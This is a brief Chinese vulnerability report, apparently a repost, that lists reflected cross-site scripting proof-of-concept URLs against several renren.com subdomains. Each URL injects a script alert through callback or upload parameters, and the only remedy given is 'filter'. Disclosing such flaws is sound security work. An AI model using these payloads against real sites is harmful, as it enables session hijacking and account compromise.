http://menexpert.renren.com/home.html
 
 
 




 
 
再送两枚反射xss
http://upload.renren.com/upload.fcgi?pagetype=addphotoflash&hostid=259069614&tick=994e56351beec4af07903b240a62b408&block_index=0&block_count=1&uploadid=fileIte"/><script>alert(/goderci/)</script>m7311161_1
 
http://interface.game.renren.com/restServer.php?method=Code.checkCode_jsonb&check_code=zdt9&callback=%22/%3E%3Cscript%3Ealert%28/goderci/%29%3C/script%3E
www.2cto.com
http://motodefy.renren.com/video.html#showdiv
 
 


 
再送两枚反射xss
http://base.yx.renren.com/RestAPI?method=api.base.getLoginUser&format=2&callback=%22/%3E%3Cscript%3Ealert%28/goderci/%29%3C/script%3E [IE6]
 
http://shine.yx.renren.com/service.do?template=api.com.login&format=jsonp&callback=jQu<script>alert(/goderci/)</script>ery17109305711311195436_1336037110832&_=1336037111387
 


修复方案：过滤

作者 goderci